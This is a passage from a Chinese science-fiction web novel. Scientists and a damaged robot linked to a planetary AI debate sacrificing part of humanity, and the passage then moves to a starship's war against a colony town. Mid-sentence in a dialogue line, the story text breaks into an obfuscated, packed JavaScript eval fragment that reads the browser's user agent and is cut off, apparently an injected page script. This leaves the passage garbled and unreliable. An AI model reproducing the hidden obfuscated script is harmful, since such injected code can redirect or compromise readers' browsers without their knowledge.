新的动力逐渐凝聚、形成,这是一种全新的体验。人类的命运固然重要,然而他此时不再觉得是个重压,人类的行动就像看上去杂乱无章的蚁群,但其中有细微的法则存在。他则像个天真无邪的孩童,不带任何态度地去观察、探索这蚁群运动的规律,并为发现其中奥妙而欢欣雀跃。他让自己的视野腾空而起,仰望黝黑的高空,霎时跳跃在太阳系的各个基站之间,结成薄膜一样的原子网感受每一颗穿梭而过的尘埃的质量与运动。他在奥尔特云边缘停下,知道自己还能向前延伸的还有很远很远。一切都安静下来,远处无闪的密集星光,与之前火山上漫天飞舞的尘片记忆碰撞、融合。 无限的静谧,无限的美。 任何“要求”在广阔的未知面前,都相形见绌。 如果在时间尺度上探索将会如何? 他重新回缩进蓝绿色的大气层,像之前一样加速了时间流动,景物快速跳跃,事件碎片塑造的人流成型、分散、再成型。但不同的是,这次不再是他单独观看这一切,与他同行的还有西本的残存意识体。 是的,自他重新恢复意识瞬间,他就感受到了西本的存在。尽管它什么都没有动作,也没有发声,表现得更像是一个胜利者在冷冷地旁观。奥托也试过了,欧罗拉仍然拒绝他触碰流星体的一切,但他这次并不气馁。而是在事件飞速流动之时,将自己“穿”进西本的意识体,像戴上某种滤片眼镜。不像以前的强烈排斥或者无力,即使立刻感受到对人类的恨意,奥托已经不在乎了,不在乎让他占据了上风,获取了西本的控制权。碎片灰飞烟灭后又立刻压成全新的模样。 斯芬克斯没有骗他,他看到了之前看不到的部分。 那些人们的勾心斗角被放大得无比清晰,他看清了地球镇人怎么准备对防御紧密的公理号发动袭击,久攻不破之下怎么气急败坏,在失败的恼怒之下,托德上校咬牙切齿按下了某个按钮,在公理号蓝色的尾烟溅出浓厚烟尘之时,地球镇最后的武器爆发出明亮的光芒,落在公理号上,冉冉升起的巨型飞船陨落在灰海之中—— 和在超空间基地之前发生的事情一模一样。 他不断切换视角,得出的结果大同小异。他把自己的干预一点一点加入,并非直接作用于模拟出的与西本匹配最高的那些个体,而是放在公理号上。公理号的反击随着他的干预加入比重增大,一次比一次更加有效。他明白了,这就是一场位置明确的对牌游戏,他就无法站在托德的位置上,否则整个图像便会晃动、失真。几乎同一瞬间他才有些失望,难道未来真的只有互相对立一种结局吗? 一股强大的力量突然将他从这个万花筒抛出。视觉霎时切换回单镜头,仍有一大部分意识仍然连着欧罗拉,地面上的一举一动仍不断传输进他的处理单元,仿佛地球成为了公理号飞船。超空间基地自这个小小的躯体“亮起”瞬间,他看到面前聚集了好几个人。他认出劳伦斯,认出德卡德,还有其他一些科学家。 而一个阴影从他上方移开,奥托认出了这个影子的主人,惊诧不已——那是阿莱茜丝。 奥托被半嵌在欧罗拉塑造的半透明基质上,像一尊挂在墙上的雕像,双手展开,伤痕累累,胸腹交接处有一个可怖的爆裂大洞,液体早已流干。冰冷而坚硬的“啫喱”淹没了每一寸缺损,正是由于欧罗拉直接给予的能源支持,他才得以苏醒。海量数据和能量交换造就的明亮光线自残破的银色躯体发出,像是凝固海面上,一团被刺激的荧光微生物发出的同样凝冻的光芒。 “即使我们在超空间基地已经研究了这么久,互相之间的交流实际上少得可怜,这直接造成这次超空间基地被恶意渗透的惨剧,我们损失了不少聪明的大脑。”德卡德说,那些堆在一起的科学家与奥托与阿莱茜丝保持了相当的距离。 “事实证明,我们越是研究,越是对欧罗拉感到迷惑。现在是时候好好互相谈谈了。” 阿莱茜丝冷静地看着他们。刚刚他们都看到阿莱茜丝做了什么,这才连连后退。这些人对阿莱茜丝并不陌生,多少耳闻过这是格兰德镇长收养的残疾女孩。但他们看到阿莱茜丝出现在超空间基地时也震惊不已。在他们处理奥托,即使让他与欧罗拉相连,也久久没有反应时,这个女孩上前,以极其冷静的姿态毫无顾忌地接近残破的机器人,之前他们触碰坚硬的半透明基质被她轻易穿透、融入,蓝色的微生物光芒猛然爆发一瞬,又重新回收在他们身侧。机器人的单镜头中应声亮起红光。 女孩转身,发现这颗星球上最聪明的头脑们都纷纷挤作一团。 “你们究竟是什么?” 女孩扫了一眼惊恐的成人们,又回过头看了一下奥托,机器人默不作声。她笑了。 “我和你们没有什么不同,都毫无防备地卷入这样的世界。”她说,“只是出于困惑来到这里。我也不明白为什么在我身上发生这样的事情,为什么是我。” “命运。”有人答道。 “是的,命运。”阿莱茜丝继续说,“以前我时常抱怨自己残疾,责备上帝,为什么唯独我不能像其他孩子一样自由奔跑。我也幻想过自己某天能重新长出双腿,摆脱这副可怜的样子。但当一切幻想都破灭,生父也离我远去,我只好逼迫自己面对现实,抱怨发生在自己身上的一切都是无用的。因此,即使现在看起来不寻常的事情再次在我身上发生,我已经不再为此感到意外、恐慌或者无助。你们也一样,因为问题核心不在于这件事发生在谁身上,是否符合心意,而是去抛开一切成见地探究它为什么发生。你们来这里的目标,难道不是挖掘欧罗拉的一切谜团吗?我的目标和你们是一样的。” “还真不是。”一直不做声的奥托说话了,声音低沉。“至少在超空间基地被关闭之前,不是。” “那么,我们之前来这里摸索出来的东西算什么?如果这都不算挖掘谜团,我也不知道这应该叫什么了。”一个折跃井小队成员说。 “我们带着任务来研究欧罗拉。原本是为了找办法关停欧罗拉,进而阻止流星体下落。我们找到的一切信息都是为这个目标服务的。”劳伦斯低声说。 “然而我们身处威胁,在这种条件下不带目的的探究简直就是个笑话。”另一个人叹了口气。“火烧眉毛之时还要求慢条斯理地展开探索,着实……强人所难。” “说实话,生存压力把我研究欧罗拉的兴趣都给磨没了。”劳伦斯说。“以前什么都不知情的时候,我还幻想,如果折跃井能允许我一探究竟,我的才能就终于有用武之地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仇恨的路径和指向已经相当明确,它已然势不可挡。其他势力也存在,但它们像无头苍蝇,力量弱小,目标不明,看到的也一片混沌。但是只要给予一点推进力,它们或许能获得和仇恨一样的力量。 他已经看到了这样的势力,但是分散在大块土壤中无法脱身。给土壤浇水、晒干,都无法让河沙变成黄金。然而,可悲的是,淘洗可以。 “一味地阻止西本或者流星体下落是无效的,但是人类不一定失败。”奥托说。 “那么多人都将会因为我们而死亡,怎么不算是失败?”有人反问。 “电车问题。让数目较多的平庸的人活着,杀死数目较少的有价值的人,与让有价值的人活下去,杀死数目较多的平庸的人,应该选择哪个?”奥托问。 “荒谬,为什么不能让平庸的人和有价值的人共同存活,就像现在这样?我不想再干这种法西斯般种族清洗一样的活。”一人反问。 “因为现在情况是,如果我们不扳动道岔,数量多的人会从铁轨上站起杀死数量少的人。”奥托说。 众人沉默。有人摇头。 “你得定义什么叫有价值。”德卡德说。 “你们是如何认为的?” “如果换在地球镇的情况,我一直认为是足够推进科技与文明发展,至少支持它的人。”劳伦斯说。 “其他人有异议吗?”德卡德见其他人默不作声,提问。仍然没有人反驳。“好。那么地球镇什么人符合这种条件?” “科研者,像我们一样?O区大部分人都是我们这类科研人员。”一人回答。“我认为从群体角度分析,O区人应该是符合这个条件的。” “你来自O区,我们大部分人都来自O区。请问这样的结论是出于O区归属感吗?”德卡德问。 那人僵住了。“可能有些的。” “科研人员不一定推进科技与文明。虽然重叠率很高,而且确实相关性紧密。”劳伦斯说,“换种说法,大抵是指能够识别文明延续的前进方向,并且践行的那批人吧。” “照你这么说,按现在的情景,可能是指人群中一开始就希望离开地球,离开这个注定会毁灭的地方,在宇宙中生存的这些人。” “常量号人。”阿莱茜丝突然说。 “不完全。”劳伦斯皱眉,他显得很焦灼不安。“我……我……” 他猛然抬头。 “我想明白了。求生只是文明延续的一个方面而已,对未知的不断探索、学习,能给陷入困境的文明注入新鲜的可能和希望,而这些可能性与希望,才是让文明走下去的关键。现在我们遭遇的是,我们之中有人过于追求自己苟活,并且把活着当成生命延续的唯一目的,只要有人干预他们的这个目的,他们就会格杀一切阻挡因素。而我们现在,在折跃井的这批个体,就成为了他们眼中的阻挡因素之一。” 劳伦斯瞪大眼睛,兴奋得有些发抖。 “价值,价值就在于又希望活下去,又努力地想去为文明的延续做点什么,探索什么,而不是为了自己生命延续而干消耗文明资源。放在飞船上,没有价值就是那些并不喜欢在飞船上呆着,只是为了自己活着而每日单纯消耗飞船资源却从来不贡献的人。放在地球镇,没有价值就是又不接受毁灭命运,又不愿去研究如何让社群在这种困境下延续,被自己原始的求生焦虑和恐惧控制下行动的人。” “在绝对自我的自私生存欲控制下,这些人愿意杀死除了自己以外的所有人,哪怕他们并没有能力去维护夺取的生存权。假如自己的生存权不能得到保障,他们就宁可毁掉一切。而那些不是那么自我,但是有能力维护生存权的那批人就成为了牺牲者。”劳伦斯说。 “对于文明而言,哪种类型更有价值?你们要知道,绝对自我的生存主义者攻击的不止是理念不同的人,他们甚至会攻击自己。他们根本不在乎文明能否延续,他们只在乎他们本身,他们的个体,一个人,能否活下去,甚至不是他们本身能否活多久,而是比其他人活得长一点点而已,只要见到其他人死在他们面前,哪怕他们马上就会被死亡吞噬,也足够令他们满足。” 完全正确。奥托默默看着劳伦斯。他不确定劳伦斯有没有也窥见过事件透镜,但男人的描述非常接近事件透镜给出的答案,或许差的只是一点学术上的证据。同时,他感到一丝希望。 “在地球镇上,有价值的表现是两类。一类是为了逃离流星体攻击,选择乘飞船离开,并且确实能够维护星舰文明的群体,最明显的践行者就是常量号人。第二类选择留在地球上,但也寻找各类办法去逃离或者减缓流星体带来的冲击,以使得文明的痕迹能够留存,甚至留下人类的火种,直到忒亚计划彻底结束后还能在这颗星球上重新复苏人类文明。” 高瘦男人环视大家,吐露一大串使他有些气短。他紧张地等待众人回应。 【理论正确。】奥托的声音突然自劳伦斯脑中响起,他激得几乎一跳。劳伦斯望向机器人,光芒环绕残那破的周身。阿莱茜丝平静坐在下方,犀利的眼神也同样幽然看着他,似乎要刺穿他的内心。 【为什么你如此确信?】劳伦斯见此猛然一惊。之前太过忙碌,这才发现,自己忽略的已经太多,甚至不再认识曾经的熟人。 【之前进入转化计划的人群样本足够让欧罗拉在事件透镜进行精确模拟。与欧罗拉连锁,你会看到一切。】 劳伦斯不由自主向前移动,甚至不顾其他人目光。他模糊感觉这才开始朝自己的目的行进,之前在超空间基地干的一切都不如现在重要。他已经错过了大量的机会,这次再也不能错过。 “虽然还是比较抽象,但我认为这个方向是对的。”德卡德打破了沉寂。 劳伦斯回头,德卡德对他点头。其他人表情类似。 “听起来很有道理,但是这个方向是值得践行的吗?有什么证据证明,我们应该走这条路?”一人提问。“如果我们决定这样做,相当于再次选择人群,甚至更严重,明摆着在挑起战争。” “我们都在对抗西本的时候与欧罗拉连锁,见识过欧罗拉的事件透镜,是吗?”劳伦斯说,见众人肯定。“事件透镜是精度很高的未来事件模拟。现有的信息决定未来走向,信息越是丰富,模拟成功精度就越高。原本对于人类社会的模拟,由于非常难获取人的动机等信息,所以一向十分模糊。但现在,我们有了上千份样本,模拟精度应该与海啸那次不相上下了。” “为何不同时接入欧罗拉,亲眼看看未来?”他说,惊讶发现脑内响起同样的话语。奥托借由他们所有人的植入物,与劳伦斯异口同声。 他看得出,其他人脸上仍然抱有怀疑,但纷纷上前。事件透镜不能表示观测到的事物完全符合实际,然而对于他们来说,这已经是最好的选择。 一直未做声的欧罗拉一定听着他们的讨论,凝固的墙面改变了介质密度,开始融化、塑造,连接台的形态快速形成。阿莱茜丝看到,连接台的数目比在场的成人要多一个。其他人将自己接入。阿莱茜丝没有植入物,但迟疑片刻,她也走进壁龛一样的连接台。 他们所有人都感受到其他人的存在,虽然看不见,但知道就在身边。现实。他们的意识同时迸发出相同的呼声。之前每个人看到的模糊场景在集体加入之下铺开、明晰。欧罗拉以往收集到的每个人的信息在他们身上演绎、消散,直到现在。同时属于自己与不属于自己的强烈情感也灌入他们的意识。在连锁中奥托发现人类对于异质情绪的抗性比他要强不少。即使西本也加入,他们并未对西本的“侵入”表现出太大的惊恐。他们不断调整与校准,直到欧罗拉提前呈现的地球镇人群行为与实际观测几乎一致。然后,奥托带领他们加速事件碎屑的塑造与流动,毫不干预地观看发生的一切。 他多么希望之前自己看到的是偏离的场面。然而,沉重的飞船再次陨落在海里的画面出现,每个人都感受到沉默席卷了全体。 他们中有人比奥托想象得更快地动了手。直接将他们拨回现在,将对公理号开战的个体抹除一半。再拉回未来的时间点,画面一片模糊,但那个原先伫立巨舰的海面上空空如也,什么也触碰不到。 他们再怎么调整,回到遥远的未来,巨舰都很模糊,只有存在或者消失两个状态,看不清人的存在状态和活动,只有永恒的海岸和地球,一波一波的水痕永远清晰、安静。 回去吧。他们的意识纷纷发出这样的声音。在欧罗拉中的任意思考都变得嘈杂不清,动摇产生的杂波使得他们头痛。他们从连接台上睁眼,之前的连锁都未像这样眩晕,几个人捂着头蜷缩许久。等到他们重新站起,发现阿莱茜丝仍然半躺在连接台上,双目闭着,表情平静。 【不要打扰她。】奥托对起身的在场所有人说。连接台还没有消失。这些科研者们思绪良多,想找任何人争论,却说不出口,就和联合意识体中的感受一样,嘈杂,却不知对谁吐露。 “答案很明显了。如果我们放任现状,公理号就会被击落。”德卡德说。“是否想为文明付出,现在得做决定。” 其他人沉默。 “我们怎么办?”一个姑娘仍坐在连接台上,没有看向其他人,只低头盯着自己双膝。“我是说,我们,在场的各位。” “不愿意留下,或者希望上飞船的,现在可以离开了。”德卡德说。“但是,一旦离开,我们不能再为个人提供保护。只能凭自己的努力存活并且为自己选择负责。无论选择回归地球镇,或是登上公理号。” “这是开战宣言。”劳伦斯低声道。 “我们在超空间基地里这样做,不会被……被制裁吗?”另一个人有些中气不足。 德卡德露出一丝冷笑。 “什么制裁,被什么制裁?地球镇现在已经乱作一团,秩序已经打破,所谓的领导者代表的也不再是地球镇人民的意志,都是自私的自我利益的维护者,若有惩罚无非是清除对他无益的害虫,我们辛苦积攒的科研工作在他们眼中一文不值。事实如此,还有什么继续臣服的理由?”他环视一周,锐利的光自眼镜后面透过,“还是我们在害怕自身的力量太过薄弱?” 有个人站在远方。思考许久,鼓起勇气:“我想去公理号上,为他们效劳。抱歉,我不想这么早死。” “没关系,你可以走了。”德卡德对他挥手。 陆续几个人起身,说了一样的话。德卡德挨个告别,他们消失在通道深处。 最后,德卡德,劳伦斯,还有一些科学家仍然留在这狭小灰色的空间。 “好。留下的人比我想象的多。看来生命的诱惑远不及超空间基地,令人意外。”德卡德说。 劳伦斯突然笑了。德卡德看着这个表现张扬的生物学家。 “我做梦都想去找能够让我眼前一亮的事物,但就算在O区也已经憋屈了30年。从我知道折跃井开始,这地方的吸引力就从未衰减。”劳伦斯说。“太空。太空有些什么呢?我还是要和其他人呆在一起,被他们指使来指使去。而且,在飞船上看起来是活得更久了,但欧罗拉带不到船上,飞船在我有生之年注定复刻不出欧罗拉这样庞大精妙的系统,即使我死后的确出现了,我的一生仍然被迫浪费在和以前一样低效的探索之中,那简直逊毙了。住过黄金殿可是回不去寒舍的。” “朝闻道,夕死可矣。”另一个科学家附和。“时间不多,但自由摸索科学的机会,与生命长度不成正比。” 其他人你一言我一语,之前的紧张戒备逐渐消散。 “你的意见呢?不打算回去母舰吗?”待人们发表完自己的看法重新回归沉寂,德卡德望向一直一言不发的奥托。“留在这里不是由于欧罗拉的禁锢或者行动不便,对吧?” 其他人也被德卡德的言语打断,转头看着那个看起来静止,但实际上思维活跃的残破银色机器人。他们承认奥托在超空间基地发挥了不可磨灭的作用,但这次安静得反常。 在他们的注视下,奥托说话了。 “作为公理号的前自动驾驶,我的职责是保护公理号的安全。无论我在何处,无论何时,这个职责都不会改变。”清冷的声音斩钉截铁。“公理号上已经有人接替我的岗位,我会在这里保护飞船顺利离开。” 他们的对话早就通过折跃井传递到O区小楼的地下室中。米勒夫人看到最后,露出微笑。她飞速打字,文明延续的号召令发给了地球镇所有科学工作者。欧罗拉会让他们每个人看到或者听到这一切,并且作出自己的选择。随后,她起身,义无反顾地踏进那幅重新亮起的画。 小楼外部斑驳的墙面伪装也消失了,O区折跃井自此彻底开放。只有收到信息的科研者们才明白,他们面临的是关乎自身存在意义的重要抉择。 45. 三十五(1) 海啸废墟大地上最初呼啸而过的导弹轰击在半坍塌在海中的常量号上,火光化为刺眼的白光,爆炸迟滞传来,溅起明亮的光与铁的烟尘。锲而不舍的导弹持续不断轰击其上,顷刻船身四分五裂,轰然倒塌入海,冲起混浊的巨浪。这艘C级星舰,历经1000年传奇的星际航行,最终就这么葬身在了母地的海底。 “敌舰”的陨落使手持武器的地球镇民士气大涨,就着头顶冲向公理号的导弹,冒着舰上淋向大地的密集激光雨也要继续前进,期望借此打开公理号大门,即使头顶上拖着火尾轰炸的正是自己的避难所。若真把船炸开了,是悲呢,还是喜呢?冲锋的时候怎会考虑,所做的一切不过是想尽办法撬开严丝合缝的公理号,挤进去,再靠铜墙铁壁的星舰抵抗来自同僚的攻击。 导弹并未击打在公理号的护盾上,便被反应过来的舰炮在空中击毁。直到冲锋到距离巨舰很近距离的持械镇民才会被舰上的激光瞄准击伤,一大片一大片地倒在湿热的大地上哀嚎。但公理号也不是毫发无损,向外攻击的舰炮始终需要护盾为其开窗,准头好的镇民便瞅准了即将开火的空档去瞄准公理号的激光或者舰炮,有些能打中,巨舰便损失了一个炮塔。但一定有富余的补上,下一回又换了个地方开窗。但巨舰根本不理会这些散击而来的镇民,不多时,舰炮上面覆盖了一层薄的护盾,镇民的武器再也毁坏不了,但强有力的舰船激光仍能穿透护盾来到大地,看起来在朝满是人的平原瞎打,几乎打不中什么人。 但实际上,战争根本不需要持续多久。仅仅过了一周,当初一腔热血持械,以为自己为生存而战的镇民发现自己不仅没有获得任何进展,还失去了所有补给。 公理号把就近的发电机全部打坏,眼目所及的剩余完好的食物储藏地也被一个个接连掀翻。海啸早冲毁了镇民的农作物,三个月来他们都靠公理号搬下来的食品合成机才勉强果腹。然而,公理号没有一个人下来,却对镇民的食物来源了如指掌。目睹同伴被激光灼倒在登舰平台上,在湿热的阳光与失去食物之下痛苦哀嚎,然后在恶劣的环境中,一个个被感染找上门,在高烧和化脓中奄奄一息,不再有人贸然穿过平坦的废墟接近公理号。头上飞过的导弹也停歇,疮痍的地球镇大地迎来了短暂的安静。 在O区内观望战况的人尚未被切断食物与电力供应。正当他们商讨如何才能进一步接近防守严密的公理号,大地突然传来震动,桌上的水杯猛然倾倒。他们奔出临时帐篷,骇然望见,远方山脉之下,第三条流向东方的河流之中,冲起滚滚黑烟。 所有人慌忙扫过天空,没有发现任何冲向河流中央的导弹。但将近150年的生存经历使得他们几乎本能地冲出去,拿起水桶就开始储存水源。海啸后,水质一直都很差,不得不搭建过滤系统勉强获得相对干净的淡水。现在不知名的武器在河流中炸响,谁都不知道到底是谁躲过所有人的眼睛,在河里放置了炸药。第三条河流炸开,迟早会波及到流经地球镇的第一条和第二条。一旦剩下两条河流被轰炸,他们的水源也将失去供应。 第二枚炸弹迟迟没有在另外的河流出现。但只过了一天,镇民敏锐发现打上来的水已经混浊刺鼻。大地不断颤抖,摇了一夜,所有人都在困惑中度过。为什么公理号要锲而不舍地炸第三条河流?晨光破晓,整片地球镇笼罩在昏黄诡谲的光线之下,海风将不寻常的夏季晨雾吹散,轰炸了一夜的第三条河流中央已经隆起一片高耸的灰黑色的土堆,顶上仍然喷溅着同样色调的浓烟与沙石。 大地再度猛烈颤抖,那片土堆轰然腾升起高达百米的浓雾。火红的熔浆自其中透露。山脚霎时模糊,旁边生长的树木被夷平,烟尘飞速朝他们这里推进。 “沙尘暴!”一个人的大喊牵动了所有人的神经,尖叫的人们自帐篷涌出,冲进附近的建筑。但“沙暴”不等人,滚烫而快速的冲击波使得O区建筑的玻璃尽数爆裂,还有人尚未钻进掩体就被疾速而浓稠的风裹住生生烫死,成了庞贝的雕塑。从未有任何一场沙暴像这样凶残,热浪、破碎声和倒塌声裹挟在伸手不见五指的黑暗里,短短一分钟似是一生。 直到他们痛苦而哭嚎着从坍塌的建筑底下钻出,满脸都是灰尘和血。爆裂的嘶嘶声不绝于耳,他们眯起眼,放眼望去再也没有绿色,没有河流,只有满地的灰泥。远方原来是伫立在第三条河流上方的土堆顶端,嘶嘶地向外喷着红色的液体,仿佛大地在溅血。 他们面对这地狱般的情景,瞠目结舌。无人知晓为何曾经熟悉的镇子会变成这样。直到公理号远远传来的警报声响彻大地。一个曾在大区短暂监测微地震与微释气体的人猛然一震,惊恐爬上脸庞。 “这……这是火山……!!” 周围人都忍不住望向他,认出那是农业部的约翰·苏利文。 “他们……他们提到过的,地球镇的地质状况很不稳定,没想到是真的!”黑人的声音都在颤抖,“地球镇,已经是死路一条了!” 苏利文虽在大区农业部工作,但机构场所之便利,加上与奥托的接触后,对这个机器人出乎寻常的举动所提起的兴致,使他一直在监控农业病害的本职工作之外悄悄广泛关注大区的科研风向。自奥托出现在地球镇后,大区陆续开展对地质和异常天体的监测,苏利文敏锐觉察到风声,不多久便从同僚那里问出了缘由。当时他还真看了奥托留给他的资料,地球镇的位置不可能发生这种事情,只好无奈一笑置之,当是镇长这些人杞人忧天,但那些陌生而特殊的名词却埋在了心底。沉寂半年,当亲眼看到原先监测的一切都应验,恐惧骤然炸开,宁可从一开始什么都不知道的好! 天色迅速被火山灰压得昏暗。镇民不需要知道火山到底是什么,知晓了这新的伫立在地球镇上不断喷溅火与灰的巨型丑陋怪物根本不是出自人类之手,简短的“天谴”结论便夹着恐惧也像火山灰一样潮水般蔓延,人们尖叫作鸟兽散。他们涌向海边,甭管浪大混浊,疯了似的向折跃井小岛前进。 就在这时,公理号突然对昏暗的大地循环播报信息。 “所有18岁以下未成年人,允许登舰。所有18岁以下未成年人,立刻登舰……” 互相搀扶着的满面泥与血污的人们听到广播后茫然站在昏黄的残砖断瓦上,面朝远方模糊不清的硕大发着淡光的公理号。终于有人抑制不住猛然跪地大哭。公理号开放了,孩子们有希望了,地球镇人迟早会有希望…… 母舰被击沉,放任何人身上恐怕都难以释怀,但理应对星舰感情最深切的科林却异乎寻常地冷静。这种冷静并非是压抑的,而是发自内心的冷静,甚至近乎冷酷。 自知道常量号被海啸与爆炸冲毁的那刻,本秉持“任何行星都不是终点”的科林再给自己的代码加了条补丁,即“哪怕星舰都不是久留之地”,彻底将自己从最初对常量号的责任捆绑解放出来。常量号已经不能再起飞,顺利将全体船员转移到公理号的科林与卡尔上尉一直暗中规划将常量号的资源全部转移到公理号上,谓之行动代号“寄居蟹”。运输的物资五花八门,从海底管道登回常量号的机器人们检查了母舰的损伤情况,令科林惊讶的是常量号的机房居然在如此严重的爆炸中毫发无损。因此,他们首先运输的就包括常量号电脑的运行盘。公理号电脑的损坏运行盘缺口正好被另一艘飞船的补上。两艘飞船级别不同,但控制元件几乎一致,BNL也没有给飞船之间设下严格的识别号壁垒,给他们省去了不少麻烦。常量号人花了长达一个月的时间对新融合的电脑进行调整,进行了无数项测试,让重新完整运转的飞船电脑自行通过反馈机制适应移植来的元件,一并继承了常量号的军事训练程序。若不是储藏间内缺乏空白运行盘,常量号人也不必这样节俭。 战争比科林预料得快得多的时候到来了。在船上驻守的人当然捕捉到了冲往常量号的导弹,但科林命令他们不要还击,就让导弹击中苟延残喘的常量号。舰上的可搬运设备早已转移,剩下的只是搬一点算一点的船体结构。按常量号人物尽其用的习惯,科林让导弹击中常量号属实反常,甚至浪费至极。眼睁睁盯着母舰被击沉的常量号舰员咬牙切齿,但只好安慰自己,放太多破铜烂铁在公理号上,这艘尚未改建的飞船并不能消化掉这些材料,反倒会成为起飞的负担。 科林当然没那么慷慨,但生存最忌讳只抓一点不放,对AI也是如此。此时的常量号除了一点点的资源价值和九成以上的感情价值外别无他用,反倒对于地球镇人来说是眼中钉。得让地球镇人取得点低级的击败敌军的精神胜利才能暴露出攻击弱点,拖慢对公理号调转枪头的时间,此时把常量号献祭给他们再合适不过,也省得浪费公理号上的资源。 他明明可以在地球镇人炸沉常量号的鼓舞空缺中直接摧毁地球镇的导弹发射井。但是卡尔上尉坚决不让科林下达攻击指令。事后科林回想,卡尔上尉的判断和他根本不相伯仲,本质上都在赌,只是运气恰好落在了卡尔上尉那边…… 公理号也不像镇民看到的那样密不透风。在地球镇出现暴动前好一阵子,实际上,公理号并没有阻止人员进出,只是普通镇民被排除在外。除了海底隧道,公理号与O区的合作中早已通过人才交换协议,实际上并不是O区政府的意志,而是米勒夫人用折跃井与他们进行交换:若想获得折跃井的信息与地面支持,就得让O区人活命。而米勒夫人在对O区高层政府报告的协议中隐瞒了一点,即她不打算把政客加到上船名单上。露丝便是这样顺利上船的。上船的每个人都要经过公理号与O区的审查,直到一个人的名字出现在名单上,引起了卡尔上尉和科林的注意。 特纳,唯一一个没有和折跃井正面接触,却独立发现昆虫的克隆与通信与折跃井相关的人。本是个洞察力极为敏锐的信息学天才,却把才干与恐惧沆瀣一气,同时利用了大区和O区。他居然奇迹般地从肺部重伤中活过来,这时米勒夫人满足了他的愿望,把他登记到登舰名单上。但卡尔上尉和科林可觉得自己接到了个烫手山芋。米勒夫人这么着急把特纳送到公理号上,想必认为此人对生存不择手段,留在大地上不免惹是生非,到飞船上可能还能镇静些。但在卡尔上尉和科林眼里,特纳的昆虫拓扑网络成果虽然被没收,但这人性格捉摸不透,指不定会利用现有资源做出什么劫持公理号的事情来。当前常量号人都无暇顾及这样一个定时炸弹,科林早想找个机会把他支出去。 地球镇现在执行攻击的显然是篡夺格兰德镇长政权的、以托德上校为首的一派武装分子,理念是用武力攻开公理号的大门,把龟缩其内的常量号人都赶出去,公理号只能也永远是地球镇人的主权。在拥有军事训练基础与舰上科技与海拔制高点的常量号人看来,托德政权的确有些可笑。然而,等到他们掐断了唯一一颗作为中继卫星的探测船的通信频道,仅对在舰常量号人和少数植入微芯片的O区人开放的微弱地面昆虫网终于自原先明亮的日光中显露,像是日落后亮起的群星时,他们却发现满地的萤火中出现了黑圈。黑圈的所在地可一点不小,囊括了O区和大区此前要投入对陨石轰击、以及对常量号发射导弹的发射井等建筑。 结合米勒夫人交换的折跃井中的信息,托德这些人反信息化,所有人都没有植入的设备。基于公理号和O区的通信设备会被窃取与监听,其他电气化设施也会被电子作战能力更强的常量号人入侵与干扰,因此他们干脆摒之不用,回归到最原始的指挥条件。甚至从落到常量号的导弹弹道上,科林已经知道他们甚至连导弹的自动姿态调整都拆除了,现在纯粹使用发射前预测的风速与轨迹计算出弹道。那么他们的司令部必然为了不暴露在可以被破解信息的网络而隐藏在没有网络的黑暗之所指挥,因此黑圈之内就是他们的指挥中心,所有战略都在那里传递,托德等人也必然隐身其处。 花那么大力气搞反渗透,殊不知把司令部都暴露在敌人手里了,这不正好一打一个准,科林向卡尔上尉呈上简短的作战计划,公理号原先用于扫清小行星的巨型等离子体舰炮已经充能,甚至不需要下级舰员执行开火,面对如此重大的机会,科林早就借由电脑拿到舰炮控制权,只要卡尔上尉一声令下,科林就能在1毫秒之内将几处黑圈夷为平地,彻底了结这场战争。 然而卡尔上尉没有下令。 “如此明显的陷阱,你看不出来吗,科林?”卡尔上尉说。“是啊,他们的司令部就在黑圈内,但你想,他们明显已经知道昆虫身上携带微发射站,遍地都是我们的监视网,然而现在一只虫子都放不进他们的屋子了。你还记得当时为了把昆虫赶出常量号飞船,花了我们多大力气吗,而他们那种条件能够做到这点,你不觉得事出蹊跷吗?” “他们肯定知道自己的位置能被我们观测到,也知道我们马上会对他们进行致命打击。那他们为什么要在原地等死?我恐怕,他们其实就在等着我们给他们致命一击,然后反而会给我们惹上巨大的麻烦呢。”卡尔上尉说。 “卡尔上尉,苏联曾凭一次徒有其壳的阅兵就把美国吓住了,以为苏联开发出了美国不具备有的技术。地球镇人早已穷途末路,看中的正是我们这个怀疑有诈的心理,正好凭我们这愣神之时逃跑。” “科林,没那么简单。我可不是随便疑神疑鬼的人。”卡尔上尉在信道里说,“昆虫信息网那么发达,加上米勒夫人提供的信息,有一点恐怕你没留意到。公理号的负质量发生器,一直都没有找到具体的位置。而且对于昆虫网的排除显然比我们想象的要早,不然过后才排除,我们早就知道位置了。那女人对我们一点都不坦诚,她早就通报过了地球镇那边,让他们在不该有虫子的地方扫掉虫子,等到我们签协议后早就看不出来地球镇的全貌了。科林,我们要找的负质量发生器,就在这些黑圈之内,明白了吗,你要是贸然炸掉这些黑圈,麻烦可不止比现在的一倍大了。” 科林不做声。巨舰的等离子炮还没有收回。外面的镇民还在无谓地冲锋,被常量号人类与机器舰员一个个击伤。卡尔上尉知道科林肯定已经计算出比他更精确的后果了,但不知道这机器人正在犹豫什么。 “目标变更,优先攻击地球镇能源供应与食品合成点。”科林没有用本音传达信息,电路直接传播的信号在卡尔上尉的贴颅圆片内转化为默认的播报音。“请重新予以确认。” “确认执行。”话音未落,公理号巨舰的舰传来微微振动,爆炸声自大地低沉隆隆穿透玻璃。卡尔上尉望着舰桥舷窗外已经加厚得几乎看不到地景,只包裹着蓝色波光的护盾,久违地扬起一边嘴角。 “把特纳叫过来,我有一项重大的任务要给他。”卡尔上尉说。 早将轰炸任务转交给其他赶过去的机器舰员的科林,听到卡尔上尉的陈述后反而觉得这回卡尔上尉的提议不可行。 卡尔上尉要让特纳潜伏到黑圈附近,让昆虫网重新分布到黑圈之内,将敌军头目与负质量发生器的位置等信息传回公理号上,然后对此制定精确的打击计划。 “反对,做法根本没有意义。因为首先,不需要杀死昆虫,只要黑圈内有像O区一样的强干扰场,同样会让昆虫拓扑网络失效,而且这种可能性非常高;其次,让特纳这种人现在下船,必定会激起他对于生存的恐惧,从而仇恨我们常量号人,在被赶下船后就会对我们实施报复,会对起飞造成阻碍。” 